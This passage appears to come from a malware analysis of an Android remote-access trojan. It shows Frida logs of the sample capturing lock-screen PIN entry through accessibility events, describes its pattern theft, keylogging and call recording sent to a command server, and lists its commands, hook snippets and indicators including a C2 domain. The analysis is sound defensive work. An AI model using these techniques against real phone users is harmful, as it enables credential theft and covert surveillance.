abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_CLICKED; EventTime: 7515589; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.view.ViewGroup; Text: [0, +]; ContentDescription: 0; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_TEXT_CHANGED; EventTime: 7534238; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.widget.EditText; Text: [\u2022\u2022]; ContentDescription: PIN area; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: true; Checked: false; FullScreen: false; Scrollable: false; BeforeText: \u2022; FromIndex: 1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: 1; RemovedCount: 0; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_CLICKED; EventTime: 7534239; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.view.ViewGroup; Text: [DEF, 3]; ContentDescription: 3; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_TEXT_CHANGED; EventTime: 7537140; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.widget.EditText; Text: [\u2022\u2022\u2022]; ContentDescription: PIN area; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: true; Checked: false; FullScreen: false; Scrollable: false; BeforeText: \u2022\u2022; FromIndex: 2; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: 1; RemovedCount: 0; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_CLICKED; EventTime: 7537142; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.view.ViewGroup; Text: [0, +]; ContentDescription: 0; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_TEXT_CHANGED; EventTime: 7538217; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.widget.EditText; Text: [\u2022\u2022\u2022\u2022]; ContentDescription: PIN area; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: true; Checked: false; FullScreen: false; Scrollable: false; BeforeText: \u2022\u2022\u2022; FromIndex: 3; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: 1; RemovedCount: 0; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_CLICKED; EventTime: 7538221; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.view.ViewGroup; Text: [1]; ContentDescription: 1; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_TEXT_CHANGED; EventTime: 7538933; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.widget.EditText; Text: [\u2022\u2022\u2022\u2022\u2022]; ContentDescription: PIN area; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: true; Checked: false; FullScreen: false; Scrollable: false; BeforeText: \u2022\u2022\u2022\u2022; FromIndex: 4; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: 1; RemovedCount: 0; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_CLICKED; EventTime: 7538938; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.view.ViewGroup; Text: [ABC, 2]; ContentDescription: 2; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_TEXT_CHANGED; EventTime: 7539984; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.widget.EditText; Text: [\u2022\u2022\u2022\u2022\u2022\u2022]; ContentDescription: PIN area; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: true; Checked: false; FullScreen: false; Scrollable: false; BeforeText: \u2022\u2022\u2022\u2022\u2022; FromIndex: 5; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: 1; RemovedCount: 0; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_CLICKED; EventTime: 7539988; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.view.ViewGroup; Text: [DEF, 3]; ContentDescription: 3; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_TEXT_CHANGED; EventTime: 7541313; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.widget.EditText; Text: [\u2022\u2022\u2022\u2022\u2022\u2022\u2022]; ContentDescription: PIN area; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: true; Checked: false; FullScreen: false; Scrollable: false; BeforeText: \u2022\u2022\u2022\u2022\u2022\u2022; FromIndex: 6; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: 1; RemovedCount: 0; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_CLICKED; EventTime: 7541313; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.view.ViewGroup; Text: [GHI, 4]; ContentDescription: 4; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_WINDOW_CONTENT_CHANGED; EventTime: 7564641; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: [CONTENT_CHANGE_TYPE_SUBTREE, CONTENT_CHANGE_TYPE_TEXT, CONTENT_CHANGE_TYPE_CONTENT_DESCRIPTION]; WindowChangeTypes: [] [ ClassName: android.widget.FrameLayout; Text: []; ContentDescription: null; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
+=======================================================+
If pattern is enabled, it will send that pattern when app info is accessed or when trying to uninstall the app. One mistake made by the author is that it is recording the pattern in descending order, which renders it useless. In this case, you can see that the original pattern is 7;4;1;5;3;6;9
, but it is sending 9;7;6;5;4;3;1
, which is in descending form. And render useless.
If the keylogger is enabled, this will be sent to the author’s infrastructure.
When the record call feature is enabled, it will record calls and then send them to the C2 infrastructure in base64 encoded format.
These are more of functionalities. Some of them are implemented, while others are present but not functioning when the condition is met. Maybe due to compatibility reasons, they are there.
rat_disconnect unlock_pin {unlock_pin } –> implemented unlock_pattern —> implemented fake_update –> not implemented set_text –> implemented
1
2
3
4
5
6
7
let j = Java.use("ru.plaintiff.whale.j");
j["D"].implementation = function (accessibilityNodeInfo, str) {
console.log(`j.use_to_display_str is called: accessibilityNodeInfo=${accessibilityNodeInfo}, str=${str}`);
this["D"](accessibilityNodeInfo, str);
};
fake_keyboard —> not implemented EnCryptResponse –> not implemented reset_fake –> not implemented reset_text –> implemented
1
2
3
4
5
let j = Java.use("ru.plaintiff.whale.j");
j["J"].implementation = function (context, str, str2) {
console.log(`j.edit_prefenceces_file_ring0 is called: context=${context}, str=${str}, str2=${str2}`);
this["J"](context, str, str2);
};
desc_off –> not impl text_off —> not impl get_all —> impl
1
2
3
4
5
6
let j = Java.use("ru.plaintiff.whale.j");
j["h0"].implementation = function (context, str) {
console.log(`j.send_everything is called: context=${context}, str=${str}`);
this["h0"](context, str);
};
start_ghost —> impl start_layer_vnc –> impl layer_on –> not impl layer_off –> not impl set_pin —> impl
1
2
3
4
5
let j = Java.use("ru.plaintiff.whale.j");
j["J"].implementation = function (context, str, str2) {
console.log(`j.edit_prefenceces_file_ring0 is called: context=${context}, str=${str}, str2=${str2}`);
this["J"](context, str, str2);
};
notif_open –> not impl notif_close –> not impl
IOC :
53af37a93802f70f4d587fa13ea7f368b4893cc51d59b70700882306a816da84 classes.dex 98ec204106d3e4d225d14217d9e16f106f5d8f0e3d1c8c1a3eb4d6184f7316d7 sample.apk cb9cbe74908f55326b7af47986a779ca857a9df490a12b8bfb5217c4a68864c0 hjAWR.json /data/user/0/com.cliff.own/app_DynamicOptDex/hjAWR.json
/data/data/com.cliff.own/shared_prefs/ring0.xml
com.cliff.own
1z06mx6i9sdxxh1xaspbj87fh8qy8pu0.xyz
t.me/+vSpP6RRKB35iM2M0